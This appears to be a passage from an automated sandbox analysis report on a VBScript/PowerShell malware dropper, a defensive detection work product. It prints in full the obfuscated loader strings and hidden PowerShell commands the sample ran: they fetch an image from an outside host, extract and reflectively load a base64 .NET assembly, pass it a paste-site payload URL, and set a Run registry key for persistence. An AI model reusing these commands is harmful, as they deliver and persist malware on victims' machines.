TreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\wscript.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.CreateObject("WScript.Shell") cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = ("$(@(?(@?@?dig@?@? = '") & feNSYOgdwrIavbDLZjNoYuPUhwpNxOczpTQkjHXgxWMrliJdYWOBJdBPCYsepWpOhltaIAuOFCUQZSPUKxSpAjQwOqdViUgvScPOKjBRJwpARVaXSNnnBEVulEtnwppiAoxucyAjFdwRsxzoYebAsNWMOivmgcaVDjQBXwTancPgJQXNpWvLLVXzpjBOQVVhdXTRKaBH & "'" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR & ";$@?@?Wjuxd = [??}@*y??}@*t?*(?m.T?*(?xt.?*(?n(@(?(oding]::Uni(@(?(od?*(?.G?*(?tString(" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR & "[??}@*y??}@*" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR & "t?*(?" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR & "m.(@(?(@?@?" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR & "nv?*(?r" cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyyzWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR = cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaH

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTr

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_030CF300 pushfd ; retf		8_2_030CF309
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_064ADBA2 pushad ; iretd		8_2_064ADBAD

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\VbsName.vbs

Jump to behavior

